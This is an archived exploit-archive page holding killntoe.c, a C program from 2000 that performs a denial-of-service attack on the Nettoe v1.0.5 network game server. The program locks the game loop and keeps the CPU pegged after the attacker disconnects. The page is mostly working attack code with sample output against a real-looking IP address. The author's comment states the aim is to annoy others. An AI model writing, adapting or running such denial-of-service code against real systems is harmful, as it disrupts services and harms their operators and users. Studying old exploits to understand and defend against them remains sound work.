exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

killntoe.c

killntoe.c
Posted Dec 15, 2000
Authored by vade79, realhalo | Site realhalo.org

Nettoe v1.0.5 denial of service attack - Causes the Nettoe server to use all available CPU cycles and lock the game.

tags | exploit, denial of service
SHA-256 | 0829ddccf17a5f6cf8784776e011d370671b9df074562df981cf1b37ab918cdd

killntoe.c

Change Mirror Download
/* (linux)nettoe[v1.0.5] denial of service.  by: v9[v9@fakehalo.org].  this wil
l
make nettoe's cpu usage go through to roof. i was mainly looking through
the source to this program to find security breaches in order to execute
arbitrary code. i found this in the process, this will make the cpu usage o
f
nettoe go extremely high, and lock the game(loop), allowing you to disconnec
t
and it still be absorbing cpu usage. (it pissed me off when i did it by
accident, so i figured it was worth slapping this together to bother someone
else somewhere)

example:
# ./killntoe 209.214.40.98
[ nettoe[v1.0.5]: cpu lock/overload DoS, by v9[v9@fakehalo.org].
*** target: 209.214.40.98(client:7501!server:7502), idle time: 15.
*** binding port. (server:7502)
*** connecting to 209.214.40.98. (client:7501)
*** closing connection, to start the game. (server:7502)
*** now waiting idle time(15), to insure the lockup.
*** closing connection, should already be locked. (client:7501)
*** completed program, exiting.

note: it must start as the players(your) turn for this to work.
*/
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#define DEFAULT_CLIENT_PORT 7501 // shouldn't need to be changed.
#define DEFAULT_SERVER_PORT 7502 // shouldn't need to be changed.
#define DEFAULT_IDLE 15 // to allow nettoe's internal sleep()s
main(int argc,char **argv){
char target[256];
int remote,data,sock,cport,sport,idle;
struct sockaddr_in a,ra,s;
struct hostent *t;
data=socket(AF_INET,SOCK_STREAM,0);
if(argc<2){printf("*** syntax: %s <target> [idle(secs)] [client port] [server
"
"port]\n",argv[0]);exit(-1);}
else{strncpy(target,argv[1],256);}
if(argc>2){idle=atoi(argv[2]);}
else{idle=DEFAULT_IDLE;}
if(argc>3){cport=atoi(argv[3]);}
else{cport=DEFAULT_CLIENT_PORT;}
if(argc>4){sport=atoi(argv[4]);}
else{sport=DEFAULT_SERVER_PORT;}
printf("[ nettoe[v1.0.5]: cpu lock/overload DoS, by v9[v9@fakehalo.org].\n");
printf("*** target: %s(client:%d!server:%d), idle time: %d.\n",target,cport,
sport,idle);
a.sin_family=AF_INET;
a.sin_port=htons(sport);
a.sin_addr.s_addr=INADDR_ANY;
printf("*** binding port. (server:%d)\n",sport);
if(bind(data,(struct sockaddr*)&a,16)){printf("error: bind();\n");exit(-1);}
else{
switch(fork()){
case 0:
listen(data,5);
bzero((char*)&ra,sizeof(struct sockaddr_in));
remote=accept(data,&ra,16);
sleep(1);
printf("*** closing connection, to start the game. (server:%d)\n",sport);
close(data);
printf("*** now waiting idle time(%d), to insure the lockup.\n",idle);
exit(0);
break;
case -1:
printf("error: fork();\n");
exit(-1);
break;
default:
if(s.sin_addr.s_addr=inet_addr(target)){
if(!(t=gethostbyname(target))){
printf("error: couldn't resolve. (%s)\n",target);
exit(-1);
}
memcpy((char*)&s.sin_addr,(char*)t->h_addr,sizeof(s.sin_addr));
}
s.sin_family=AF_INET;
s.sin_port=htons(cport);
sock=socket(AF_INET,SOCK_STREAM,0);
printf("*** connecting to %s. (client:%d)\n",target,cport);
if(connect(sock,(struct sockaddr_in*)&s,sizeof(s))){printf("error: connecti
"
"on failed. (%d)\n",cport);}
else{
sleep(idle);
printf("*** closing connection, should already be locked. (client:%d)\n",
cport);
close(remote);
printf("*** completed program, exiting.\n");
exit(0);
}
break;
}
exit(0);
}
}

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close